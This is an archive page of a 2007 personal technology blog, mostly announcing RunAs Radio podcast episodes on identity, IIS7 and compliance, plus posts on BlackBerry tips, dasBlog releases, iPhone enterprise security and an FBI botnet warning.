Identity and Access Management (often referred to by identity geeks as IAM) is a field I have come to know and love. There's been a resurgence in the past few years in this space, brought on by a number of builders of critical mass. One of those drivers, in the financial services industry, was some "guidance" issued by the FFIEC (United States federal government agency that regulates banks) in 2005 that requires banks to use stronger authentication for online banking services (better than just user name and password). In addition, the general discomfort across all industries that use the Internet as a true platform for doing business has become a motivator, especially in the wake of multiple news cycles about fraud and data theft. In a nutshell, The Internet is a technology platform that is being used for something it was not originally architected to do, and as a result there are some critical gaps from a technology perspective - especially in the area of security. Many defensive "point" solutions have been cobbled together over the years to plug holes in the metaphorical levee, but at some point you have to start thinking about either building some serious reinforcements or - quite possibly - building a whole new dam to serve the needs.

Over the past couple years the open source community, Microsoft, and a number of other companies large and small have embarked on a bit of a shared crusade (and a good one, at that) to first redefine and then re-architect identity on the Internet, how it works and what the principles are that guide and drive Identity going forward. It's been a rare and refreshing community effort, and as a result we are starting to see some real-world traction in markets like financial services; Interest is growing outside the circle of academics and programmers that are implementing the new systems. Interoperability is being seen as critical and that's likely the one things that will drive success. And while we can design a great system that can solve all the world's ills, adoption is the second-to-final gauge of success in this case (longevity and strength are the final-final determining factor, but we can't truly get there without meaningful and across-the-industry adoption).

One of the architects of this whole concept in redefining and improving Identity on the Internet is Kim Cameron. He writes the Identity Blog (worth a subscription if you're not already there) and was the publishing author of his "Laws of Identity," or what he refers to as "the missing layer of the Internet." I had the good fortune to play host to Kim and his compadre, Rich Turner (both work for Microsoft) when they spoke at a security conference I hosted a couple months ago. They discussed identity in general as well as CardSpace, Microsoft's effort in the larger community effort to add this missing layer to the Internet schema.

Richard Turner is the Product Manager for Microsoft's Identity Platform Developer Marketing group and owns Windows CardSpace Product Management there. While at the Microsoft TechEd conference in Orlando a few weeks back, I found him and pulled him aside for about 45 minutes to chat with Richard Campbell and me for the RunAs radio show we do each week. You can hear the interview here:

RunAs Radio Show #12 | 6/27/2007 (47 minutes)
Richard Turner Checks Our Identity

Another Tech Ed US 2007 interview from Orlando, Richard and Greg sit down with Richard Turner and discuss how CardSpace impacts the IT professional. CardSpace (formerly code-named "InfoCard") is a key technology in Microsoft's Identity Platform.

Links: RunAs Radio web site and RSS feed

As always, we welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear more about as we book our guests.



Add/Read: Comments [0]
IT Security | RunAs Radio | Tech
Thursday, June 28, 2007 7:47:08 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

I recently ran up against a self-induced application disaster on my Blackberry 8800 (that's what I get for messing with stuff I know will probably break), so I needed to do a clean reset of the device to it's factory defaults and then start over again from scratch. I'm not too keen on the idea of reloading the OS if I don't have to (with over the air configuration I have not used a USB cord on my blackberry except for once since I got it), so I started poking around trying to find the on-board reset capability (they call it "wipe" the handheld device). Nothing like trying to find a command deep in the bowels of a multi-layered system. But, this is one that people should not find it easy to accidentally choose...

So, since I finally found it, note to self for the next time I need it:

Blackberry "Wipe-Handheld" command list (at least for my 8800 - same or similar for other models)

  • Options menu 
  • Security Options
  • General Settings
  • Menu
  • Wipe handheld
  • Enter password ("Blackberry" or your business-assigned security password)

Useful if you're like me an have a tendency to muck around under the hood too much and gak things up. And yeah, that's a word. Gak.



Add/Read: Comments [89]
Mobile | Tech
Thursday, June 28, 2007 6:43:08 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, June 27, 2007

dasBlogv1.9.7releasefinal.NE.1version_8FF9/image.png" target="_blank">imagedasBlogv1.9.7releasefinal.NE.1version_8FF9/image_thumb.png" width="240" align="right" border="0"> Scott posts about the latest dasBlog release, v1.9.7, which you can download and use now. He also discusses the pending (within a week) release of dasBlog v2.0, which will be compiled using the 2.0 .NET framework, and even additional versions planned under framework v3.5. Lots happening in dasBlog land. 

Among the new, improved and changed stuff in v1.9.7 (the below list is quoted from Scott's blog):

  • Fixed a metric buttload of bugs (ed: Scott's word, not mine, heh)
  • Taken in more patches from the public than any other release (Thanks public!)
  • Category and Home Page Paging Macros
  • LiveComment Preview (thanks SubText!)
  • Emailed Daily Activity Reports
  • Windows Live Writer Custom Integration
  • Support for Akismet Comment Spam Support
    • Go get a WordPress account, without a blog, and use the API key they'll send you.
  • Optionally show comments on the Permalink Page
  • Even more performance gains (4x+) in the Macro engine
  • New Internationalized Languages, including Swedish (Thanks Per Salmi!)
    • This brings our total supported language count up to 15! Although we can ALWAYS use more, and we really need double-checkers and updaters to put in localized strings for some of the new features!
  • Support for Blogging directly from Word 2007
  • Many fixes in our Blogger API and MetaWebLog API support
  • Better detection of referrals from Search Engines
  • CSS fixes and additions like highlighting of the Blog Author's comments
    • Make the comment email address match the email address in sitesecurity.config for this feature.
  • DHTML Timeline of Posts from the MIT Simile project
  • Support for SMTP Servers like Gmail for notifications
  • New themes
  • Support for THREE Rich Editors - FreeTextBox, FCKEditor and TinyMCE (in DasBlog Contrib, see the source)


Add/Read: Comments [0]
Blogging | Tech
Wednesday, June 27, 2007 9:25:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 25, 2007

In my line of work, we spend a lot of our time writing software that catches bad guys and keeps them out of systems that require protection. So, in the course of building good security and forensics software I often work closely with partner companies that bring something valuable to the table - technology that we might include or integrate with but would not build ourselves. One of the technology areas that adds value to what we do is the business of Internet Protocol (IP) address intelligence and geolocation. The ability to glean a variety of valuable information about any given IP address or block provides the opportunity for both intelligent and - if the partner does their job well - reliable decision making, in a manner not otherwise possible. Imagine your application being able to present information or make decisions based on the actual physical location of a user, or base don the type of connection they are making. In the case of the software I've been involved with creating, IP intelligence is a key capability that helps to enhance the products.

So, for last week's RunAs Radio interview, we sat down with an expert in the field, Bill Varga, who works for a company out of Mountain View, California called Quova - one of the partners I have worked with for a few years now. They do IP geolocation and IP intelligence - and that's their business. They're focused on that market and they're very good at it. IP intelligence is a world that is growing quickly and always generates ideas and thought when brought up for discussion. The applications of IP-related metadata are many, and Bill effectively describes them in our interview. He also discusses some of the new things Quova is doing in the field.

RunAs Radio Show #11 | 6/20/2007 (38 minutes)
Bill Varga Makes Us IP Intelligent

Richard and Greg talk to Bill Varga about what IP (that's Internet Protocol) Intelligence is all about. They also dig into how IP geolocation helps with regulatory compliance and fraud detection. Bill also talks about the new technology Quova (his employer) has developed that can deal with geolocation of satellite and megaproxy IP addresses.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.



Add/Read: Comments [0]
IT Security | RunAs Radio | Tech
Monday, June 25, 2007 7:37:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, June 23, 2007

apple_iphone eWeek has a good summary in their article "Analysts: iPhone Has Neither Security nor Relevance" with a number of links to other resources of the likely security problems introduced by (of not in - we'll see) the iPhone. Certainly the iPhone is not the only device where we have to worry about these types of problems, but let's face it: iPods and other mass storage devices are already too loosely allowed at many companies and organizations, and the hype surrounding the iPhone and the potential excitement of iPod owners can cloud judgement. Read Andrew Storm's article on the topic.

In contrast, Blackberry's enterprise services are well-secured and provide a whole slew of workable and effective controls that the iPhone can't even begin to match up with. In a nutshell, the iPhone is a consumer device that probably doesn't belong in the enterprise - at least not in it's first version. Gartner plans to recommend businesses keep the iPhone out of the enterprise.

Also - sounds like typing on the on-screen keyboard is an index-finger exercise, not for thumb typers. So again, not so much an enterprise device. But we'll see all this stuff for ourselves in just a few days. The iPhone debuts on June 29th.

Note: I think the iPhone is a cool looking device and probably a great consumer item. I'm not knocking the device for consumers, just pointing out it's not appropriate for use in the enterprise. So before anyone starts with "iPhone/Apple-Hater" rhetoric, you can just stop. :)



Add/Read: Comments [1]
IT Security | Mobile | Tech
Saturday, June 23, 2007 1:44:00 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, June 14, 2007

image Over the past several years I realize I am spending less often. Not sure I am spending less, heh, but at least not as many times in any given, oh, month or whatever. Last week I broke down after much consternation over a few months and picked up one of the Xbox 360 HD-DVD drives. I took it home and hooked it up and popped in the HD version of King Kong.

As many have written similarly in the past, the picture and sound are pretty incredible. But, since I have an older DLP projector (an InFocus X1), I am not getting the full fidelity of a HD image.

So, long story short, even on the X1 the quality is noticeably and substantially better than standard DVDs. But it's  not what it can be, so I find my self leaning toward a decision point: I need a new projector. I don't want a flat screen, I don't think. I have a 120-inch (or more) diagonal image on the wall now, and I like it that way. One room is there just for the theater-like experience. It's not my living room, in other words.

 There are a number of newer 1080p projectors out there now, as it turns out, and they don't cost a zillion bucks anymore. I have been researching newer models and have found a couple that look interesting. But I figured there might be some readers of this here site that would have some experience and input.

imageHere is what I have found so far - what do you think, and what am I missing?

Any ideas anyone?

UPDATE (July 28, 2007): Epson also has a real contender out that I am considering in their PowerLite Home Cinema 1080 model.



Add/Read: Comments [5]
Tech
Thursday, June 14, 2007 1:12:00 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

The FBI is contacting more than one million computer owners and operators whose computers have been victimized and taken over by fraudsters and other criminals who have installed "bots" which they then use to launch distributed criminal computer attacks and fraud scams.

“The majority of victims are not even aware that their computer has been compromised or their personal information exploited,” said FBI Assistant Director for the Cyber Division James Finch. “An attacker gains control by infecting the computer with a virus or other malicious code and the computer continues to operate normally. Citizens can protect themselves from botnets and the associated schemes by practicing strong computer security habits to reduce the risk that your computer will be compromised.”

So, if the FBI calls you might want to cooperate. But - exercise some common sense and a little caution: if you get a call or contact, be sure to confirm it's actually the FBI. The classic technique used by scammers is to take commonly used communication methods and closely mirror or duplicate them in order to make you think you're providing sensitive data to a legitimate business or agency, when in fact it's the bad guy in disguise. So verify, verify, verify.

The FBI press release is here. Snipped from the press release, an important warning about being wary of potential malicious information requests:

"The FBI will not contact you online and request your personal information so be wary of fraud schemes that request this type of information, especially via unsolicited emails. To report fraudulent activity or financial scams, contact the nearest FBI office or police department, and file a complaint online with the Internet Crime Complaint Center, www.ic3.gov."



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Thursday, June 14, 2007 8:43:02 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

RunAs Radio Show Number Ten is now online. While at Tech Ed US 2007 in Orlando last week, we sat down to chat with Isaac Roybal for the RunAs audio podcast, a Microsoft Product Manager on the Windows Server team working on the next version of Internet Information Services - IIS7.

Put simply, IIS7 includes a large number of significant improvements and enhancements for both developers and for the IT pros and hosting providers that have to implement, support, secure and maintain the servers. Tons of great information and interaction around IIS7 is available at the new community web site, IIS.NET. Many of the improvements and changes to IIS are listed on that site, as well. You can download Windows Server Beta 3 and go live with IIS7 now, and Microsoft has a program for doing so. If nothing else, you should be starting your lab work so you can plan, get familiar and see what the future of IIS holds.

RunAs Radio Show #10 | 6/13/2007 (41 minutes)
Isaac Roybal Shows Us IIS7

Isaac Roybal is a Product Manager on the Windows Server team who is deeply involved in Web Workload, especially IIS 7. Isaac digs into the details of the new management features in IIS 7, now available as part of Windows Server 2008 Beta 3. His responsibilities cover all things Web related with Windows Server and has been involved with IT for over ten years. Five of those years have been with Microsoft.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.



Add/Read: Comments [0]
IT Security | RunAs Radio | Tech
Thursday, June 14, 2007 8:23:18 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 11, 2007

I just upgraded my Blackberry 8800's TeleNav GPS software to v5.1.0.29 (an update from the the preinstalled v4.7), which was just recently released by TeleNav. It was really darn good before and  it's even better now. Included in this release is the until-now-missing-on-the-at&t-network feature of real-time traffic routing updates (dubbed "TeleNav Traffic alerts"). This added capability uses available traffic congestion and hazard feeds to update your route to the quickest available in real-time. In addition, the new version includes improved business listings in the search options and the ability to click on addresses right in the calendar and address book contacts, launching the GPS service automatically. That's something I can easily be grateful for, what with all those hotel addresses embedded in my Outlooks calendar for my travel days.

The UI is also greatly improved. The menus are much shinier and there's now a signal strength meter in the GPS software, a small but welcome addition. Note that when you install and run the first time you'll need to allow the software to set up several hardware and network access permissions, and you'll need to provide your TeleNav account password (which you used the first time you set up) as well. It appears I lost all my favorites in the upgrade process, so just be aware that something like that might happen to you as well. My recent locations list was still up to date. I had to change my map view from overhead back to the 3D birds-eye view as well. None of these things were a big deal for me.

If you have the Blackberry 8800 from at&t and use the TeleNav service, it's a free update for you. Just browse to http://ota.telenav.com/ota/at with your 8800 and download the new version. Note that the update requires a fairly long reboot after it's installed.

From the press release:

TeleNav Traffic alerts users through voice and on-screen prompts to traffic slowdowns and incidents along their programmed travel route. With just one click, customers can choose an alternative route or can remain on the original course. TeleNav Traffic calculates and provides an ongoing estimated time of arrival based on the customer’s current route and the latest traffic information. Subscribers can also view traffic information on a map and see details of surrounding traffic situations.

TeleNav Traffic is a feature of the latest version of TeleNav GPS Navigator™ and is offered as a free feature upgrade for TeleNav GPS Navigator subscribers. TeleNav GPS Navigator v5.1 also includes enhanced business listings, which identify more retailers and office parks. The TeleNav GPS Navigator now allows BlackBerry users to click addresses inside calendar invitations or contact lists for real-time navigation to that location.

Thanks to at&t and TeleNav for making this update happen. My $9.95 a month is going even further now. I have to say, always up to date maps, a small single device and turn-by turn instructions with Traffic is a pretty great deal. Even after say 24 months of using this service you would not have paid as much as you would to buy a GPS unit, and maps on a stand-along unit would be out of date before too long. I'm convinced.

Now I just need to find a way to record video and/or make screenshots from the Blackberry 8800 screen so I can illustrate this stuff...

Add/Read: Comments [3]
Mobile | Tech
Monday, June 11, 2007 12:02:47 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, June 06, 2007

Catching up on announcing a few new RunAs RunAs Radio shows that I've neglected to mention here over the past couple weeks. We publish a new episode each and every Wednesday. The show has been live since mid-April and it's been pleasantly surprising to see how quickly it's taken off!

Anyhow - RunAs Radio Shows 7, 8 and 9 are now online. Discussions in these shows include disk and file encryption and the TrueCrypt open source software, Public Key Infrastructure (PKI) and what it means to you as an IT professional, and Microsoft Operations Manager (MOM) 2007, a great tool for managing and monitoring your enterprise, whether small or large.

Links: RunAs Radio web site and RSS feed

We always welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read (and answer) your email "on the air," and we are always interested to know what you would like to hear about as we book our guests.



Add/Read: Comments [2]
IT Security | RunAs Radio | Tech
Wednesday, June 06, 2007 1:15:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 04, 2007

I just arrived in Florida this evening for TechEd, so I am catching up on some news, and found this at BetaNews.com. It's good news in the "let's make effective security easier and better" category:

At TechEd 2007 this morning, Microsoft's senior vice president Bob Muglia generated the biggest applause of the day (not related to the Christopher Lloyd cameo) by announcing the new Server Core installation option in the forthcoming Windows Server 2008 will have as one of its ready-made "roles" the ability to rapidly appropriate Internet Information Services in a command-line-only environment.

The Server Core option allows you to run Windows Server without all the fancy Windows stuff - I other words, it's truly bare-bones and includes only what you really need.

UPDATE: On the TechEd floor today I learned that the "server core" implementation of IIS7 won't support ASP.NET applications - just HTML and ASP type stuff. Hopefully ASP.NET will be an option in the future.

From Microsoft, here is a description of the concepts behind the Server Core installation option:

The Server Core installation option of the Microsoft Windows Server 2008 operating system is a new option for installing Windows Server 2008. A Server Core installation provides a minimal environment for running specific server roles that reduces the maintenance and management requirements and the attack surface for those server roles.

The Server Core installation option of Windows Server 2008 provides the following benefits:

  • Reduced maintenance - Because a Server Core installation installs only what is required to have a manageable DHCP, File, Print, DNS, Media Services, AD LDS, or Active Directory server, less maintenance is required.
  • Reduced attack surface - Because Server Core installations are minimal, fewer services and applications run on the server, thereby decreasing the attack surface.
  • Reduced management - Because fewer applications and services are installed on a server running the Server Core installation, there is less to manage.
  • Less disk space required - A Server Core installation only requires about 1 gigabyte (GB) of disk space to install and approximately 2 GB for operations after the installation.

You can keep up to date with the Server Core team's efforts on their blog, and participate in the Server Core TechNet forum.

Reference Link: TechEd 2007: IIS7 to Become Seventh Server Core Role



Add/Read: Comments [0]
IT Security | Tech
Monday, June 04, 2007 7:23:04 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, June 03, 2007

Google holds it secrets close, as it should. One of its most valuable assets (probably its most valuable) is still its search engine, and because it's the end-all-be-all of Internet searching, how well it works is very important to the company. Add to that the relevance and accuracy of searching as it relates to Google advertising revenues, and the importance becomes quite huge.

The New York Times published a story this morning about the Google search inner sanctum, a bunch of people who tweak and adjust the search algorithms used to get people what they're looking for on the web. It's a good article and dives deep into the work the team does and how much more accurate search has become.

“Expectations are higher now,” said Udi Manber, who oversees Google’s entire search-quality group. “When search first started, if you searched for something and you found it, it was a miracle. Now, if you don’t get exactly what you want in the first three results, something is wrong.”

It's an interesting read, well worth the time. And think about how much storage is required for this:

And Google does more than simply build an outsized, digital table of contents for the Web. Instead, it actually makes a copy of the entire Internet — every word on every page — that it stores in each of its huge customized data centers so it can comb through the information faster. Google recently developed a new system that can hold far more data and search through it far faster than the company could before.

Find out more about Google's PageRank as well as a little of what they call "signals" - cues and other information the search engine algorithms generate and use to determine what you see when you search and why.

Article reference: Google Keeps Tweaking Its Search Engine (NY Times Online)



Add/Read: Comments [0]
Tech
Sunday, June 03, 2007 9:08:13 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, May 29, 2007

Scott Hanselman posted a great list of items to look at and check into when you're using virtual machines with Virtual PC (or server) and need to ensure good performance. It's not automagical to have things work at best performance, so getting educated and knowing what to do and when is important.

His list is here:



Add/Read: Comments [0]
Tech
Tuesday, May 29, 2007 12:44:22 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, May 28, 2007

I'll be heading for TechEd next week in Orlando, Florida.

Richard Campbell and I will be recording some RunAs Radio interviews on the Virtual TechEd stage, and I am looking forward to catching up a bit in terms of the latest and greatest IT technology. The past several months of my work (and life) have been pretty much consumed with the acquisition of the company I work for, so I am looking forward to the chance to focus my mind back on the rest of the technology world for a change.

Anyone else planning to be there? Let me know!

Add/Read: Comments [0]
Tech
Monday, May 28, 2007 8:11:27 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, May 20, 2007

RunAs Radio Show Number Six is now online. I'm a few days late in posting this, but Wes Miller (who worked in the past at Winternals and Microsoft) sat down with Richard and me to talk about the future, benefits and issues around 64-bit Windows in the Server and Vista flavors.

RunAs Radio Show #6 | 5/16/2007 (34 minutes)
Wes Miller on our 64-bit Future

In late 2004, Wes left Microsoft to work for Winternals Software (which was then acquired by Microsoft in 2006), in Austin, Texas, where he currently resides. Wes currently works at Pluck (http://www.pluck.com) in Austin as a Development Manager. His area of Windows focus is generally enterprise deployment, lifecycle management and security.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.



Add/Read: Comments [0]
AudioBlogging | RunAs Radio | Tech
Sunday, May 20, 2007 9:27:13 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

I was having dinner the other night with a bunch of people from work, including Scott Hanselman. As is overly-typical during an American dinner "out" in the early 2000's, the subject of TiVo and other PVRs came up. As time has gone on over the past few years, it's become more and more difficult (especially as other PVRs have also become commonplace) to be on the side of the conversation where you're in the small group of people who don't have a PVR already. I got my first TiVo when they first came out. I hacked it and turned it into a 240GB powerhouse. I was an early adopter, but apparently I am not exactly a power user.

Scott (this story is really about him) did the thing Alpha Geeks do at dinner when someone mentioned they don't have TiVo. He said:

 "WHAT?!?! Are you kidding??"

Seems life cannot be lived with out it, hehe...

Then he showed his true Alphaness when he said:

"Sometimes I put on closed captioning and I watch it double speed."

Doing this, he explained, allows him to get a lot more TV watching done than simply watching it in real-time-shifted-time (or is it real-shifted-time?). And he continued the thought:

"If you put in a DVD you can watch it 4x. I watched Oldboy like that," he said. "And if someone got their head cut off you could just go back and watch It in real time." Yeah, or slow motion I guess.

"Huh?" I asked him. "Old wha?"

"Oldboy," he repeated. "It's like the Korean Pulp Fiction."

Leave it up to Scott to come up with this. Personally, I tend to like the music and the dialog and taking the time to enjoy the whole movie package. Dunno about Oldboy since I have not seen it, but now I will have to - I guess I'll find out if it's better in 4x...



Add/Read: Comments [1]
Geek Out | Random Stuff | Tech
Sunday, May 20, 2007 8:08:58 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, May 15, 2007

The State of Washington just passed a law last week that makes it illegal to text while driving. Ummm, duh? Too bad we need a law for this, but I guess we do...

From the Seattle PI:

"Under the new laws, drivers who read and compose text messages or talk on a cell phone without a hands-free device could face a $101 ticket. The text-messaging ban takes effect Jan. 1; the cell-phone law will be enforced starting in July 2008.

"Drivers are exempt in some situations, including emergencies, and neither offense will be enough to get a driver pulled over by the police."

Where do they come up with fine amounts like $101, I wonder?

I have to admit, I have been guilty in the past of texting while driving and it's a BAD thing to do. Especially since I have a Blackberry. What the heck was I thinking? I know lots of people who text behind the wheel, really - and it's just not a good idea. I guess we could call it driving under the influence of Crackberry.

At any rate, some things just make sense and I guess I agree with this one. I'm not big on generating lots of laws, but where the end result is that innocent people are protected from ignorant dolts, it's probably worthwhile.

But - it's too bad police cannot pull you over just for texting. You have to be in an accident or exhibit some other violation it seems. Isn't that like waiting to chase the Lion through the zoo as he eats bystanders, when you saw the cage door was open half an hour ago?



Add/Read: Comments [2]
Mobile | Tech
Tuesday, May 15, 2007 7:18:28 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, May 11, 2007

RunAs Radio Show Number Five is now online. Richard and I speak with John Savill about application virtualization. This is not the same things as server virtualization (or virtual machines), but instead is about virtualized instances of software apps. For organizations that are distributed (more and more of us as time goes on), app virtualization is a cool things to look into. John does a great job of explaining app virtualization and gives some examples of how it works and can be leveraged.

RunAs Radio Show #5 | 5/9/2007 (36 minutes)
John Savill on Application Virtualization

John Savill is Director of Technical Infrastructure for Geniant. He is a CISSP, a Security and Messaging MCSE on Windows Server 2003, an eight-time MVP, and a Krav Maga instructor. He is also the author of Windows Server 2003 Active Directory Design and Implementation from Packt Publishing. 

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.



Add/Read: Comments [1]
AudioBlogging | RunAs Radio | Tech
Friday, May 11, 2007 7:20:51 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, May 04, 2007

News is that Microsoft is (again) looking at buying Yahoo! That's an interesting proposition. At probably $50 billion, it would be quite an investment to make. But it would be an interesting shakeup move from a search and web-delivered software market standpoint. But the online advertising business is what really needs to work. That's where the money is. At least for now.

More via Reuters over at at news.com.



Add/Read: Comments [2]
Tech
Friday, May 04, 2007 7:00:51 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 02, 2007

RunAs Radio Show Number Four is now online. Richard and I speak with Simon Goldstein, who (it just so happens) works with me and is a good friend. Simon has a depth of knowledge and expertise that sets him apart in the areas of risk management, compliance and a variety of other topics. In this interview we discussed the compliance and security world and how it applies to practical IT. Simon distills a lot of broad topics down into the nuts and bolts, so pretty much anyone can understand how compliance works and why it's important:

RunAs Radio Show #4 | 5/2/2007 (44 minutes)
Simon Goldstein on Compliance

Simon Goldstein talks to Richard and Greg about making sense out of compliance with rules and regulations around Information Technology.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We  are always looking to know what you would like to hear about as we book our guests.



Add/Read: Comments [0]
IT Security | Management | RunAs Radio | Tech
Wednesday, May 02, 2007 7:00:27 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, April 26, 2007

I'm playing host in mid-May at my company's annual Security Summit, and thought you might be interested. It's geared toward people who have technical and operational security as a part of what they are charged with professionally, and the sessions will have a financial services slant. There are a couple days left to sign up, so if you might be interested then either act quickly or let me know of any questions. We'd be glad to have security professionals attending.

Among the activities and sessions, we will be talking ISO 27001 certification and standards, hacking and investigating violated web servers in order to see both sides of the game, practical exercises around dealing with security incidents, sessions on identity management and CardSpace (Kim Cameron from Microsoft will keynote), Mobile banking and related security, and much more. Plus some great fun activities in the area.

The summit itself is free-of-charge for participants. You just pick up the cost of travel and hotel. An agenda is located here that also includes hotel information (the conference hotel block expires on Friday this week), and of course I am glad to answer any questions.

We already have a great list of attendees and participants, so if it's also of interest to you I hope you'll check it out!



Add/Read: Comments [0]
IT Security | Tech
Thursday, April 26, 2007 6:36:05 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, April 25, 2007

So, Carl let us know this morning that in the first two weeks of RunAs Radio, there have been 13,588 downloads - a figure that pleasantly surprised me - Pretty exciting!

And we're keeping at it: RusAs Radio Show Number Three is now online. Richard and I spoke with Dana Epp of Scorpion Software about CardSpace and the future of access management and authentication:

RunAs Radio Show #3 | 4/22/2007 (35 minutes)
Dana Epp talks CardSpace on the Client-Side

Richard and Greg speak to Microsoft Security MVP Dana Epp about Microsoft's CardSpace initiative for secure authentication. They hint at another show focusing on the server side.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We have a couple good shows coming up in the next weeks, and are always wanting to know what you would like to hear about as we book our guests.



Add/Read: Comments [0]
AudioBlogging | IT Security | RunAs Radio | Tech
Wednesday, April 25, 2007 8:07:21 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, April 19, 2007

RusAs Radio Show Number Two is online, and Richard and I spoke with David Sengupta about Exchange old and new as well as a variety of issues and topics around messaging and collaboration:

Show #2 | 4/18/2007 (32 minutes)
David Sengupta on Exchange Email Policy Issues

Exchange MVP David Sengupta discusses issues and best practices around email policy and related strategies.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind!



Add/Read: Comments [0]
RunAs Radio | Tech
Thursday, April 19, 2007 8:28:30 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, April 16, 2007

I've listened to several recordings of myself over the past couple weeks, thanks to the fact that we've recently started producing RunAs Radio, a weekly tech podcast. As I mentioned on the launch date, I am co-host with Richard Campbell. It's fun so far. We have a couple more shows "in the can" that will run very soon where we'll speak with smart and knowledgeable people about technology topics that matter.

I have found - as do most people, I think - that I really dislike hearing my own recorded voice. Honestly, it drives me nuts. Both metaphorically and physically speaking, nothing sounds the same inside our own heads as it does to the outside world. So when we hear a recording of our own voices, we tend to cringe - especially when we realize that's what we really sound like.

But the interviewing is fun, and Richard is a great guy to work with, so I have been enjoying the process. Some people tell me they're wondering what equipment I ended up with for the project. I bought a few things last week to set myself up (I had been borrowing Scott Hanselman's stuff for the first show and some testing). So, here goes:

The microphone is a Samson C01U USB studio condenser mic, which plugs straight into the computer's USB port and is recognized by Windows without any additional drivers. There is some fancy software available for Windows XP that can be used to pre-mix and some other fancy stuff, but for my use on Vista, I just plugged in and went. And it works great. For about $80 you can't really beat the quality. It's a solid, good sounding mic.

The mic is suspended in an audio-technica AT8415 anti-shock mount, which is one of those nifty rings with a bunch of rubber bands that keeps the noise from bumps, vibrations and other environmental noise away from the microphone. It can make a huge difference. I scooped up the anti-shock mount for $19 at a local store - it was in a box barely used without a price, and they were happy to sell it. New they sell for much more.

The desk stand is a short, basic Atlas Sound model that sells for under $20 and stands about ten inches tall when it's collapsed. It has a heavy padded base.

Finally, I bought a pop filter, which for all intents and purposes is just a fancy ring with nylon material (a lot like pantyhose) stretched across it, plus an articulating gooseneck mount that you can clamp to the mic stand. You just position it between your mouth and the mic.  The pop filter helps to ensure your P's and T's and what-not don't result in loud popping sounds to the mic - It keeps the harshness and resulting rush of wind from those types of syllables to a minimum. I didn't buy the most expensive model, and we'll just have to see whether or not I should have.

The way we record the show is a little different than most podcasters probably used to. RunAs Radio, like other shows done by Pwop Productions, is a fully-produced show, meaning a human being actually goes through the recording tracks, lines them up, cleans them all up and produces the final cut of the show. Quality of the sound is important to the producers. For my part, my voice is actually recorded twice during the interviews: Once by Richard over the phone on a system he has set up there, and a second time locally and in a high-quality mode on my computer using the mic setup described above and some special audio recording software from Pwop. The Pwopcaster software lets me set the mic levels, test, record and then upload the audio files to the Pwop studio, and they take it from there. My uploaded voice track is synched up with the phone track of my voice from Richard's multi-track recording, the audio is cleaned up for noise and edited for sneezes and such, and there you have it - RunAs Radio.

Of course, it's not really that simple - post-production is the hard part. The fact of the matter is that the main thing that makes it possible for me to participate in this show on my schedule is the fact that I only have to do the easy part: Chatting with smart people about interesting tech topics. I've turned down several requests and opportunities to participate in podcasts in the past simply because I did not have the time to do it all by myself and do it well. With this opportunity as long as I suit up and show up, we're good to go. And that's something I can work to make time for.

Stay tuned for more editions of RunAs Radio - coming very soon!



Add/Read: Comments [0]
AudioBlogging | RunAs Radio | Tech
Monday, April 16, 2007 2:02:50 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, April 15, 2007

Microsoft on Friday released a patch for Outlook 2007 that addressed a number of performance issues (described in KB933493). Complaints of sluggishness have been circulating since before the product was formally released, typically where large OST (offline folders used for synchronization) and PST (personal folders typically used for archiving) files are involved.

From Computerworld:

The 8.3 MB update should accelerate the download of messages from the Exchange e-mail server and reduce temporary freezes resulting from deleting messages or copying them from one folder to another, according to Jessica Arnold, Outlook’s program manager.

The update should also let Outlook 2007 users switch between messages faster and enable faster program startup, she said.

I've installed it and will see how things go. Right off the bat Outlook started up faster, so that's encouraging.



Add/Read: Comments [5]
Tech
Sunday, April 15, 2007 7:38:08 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, April 10, 2007

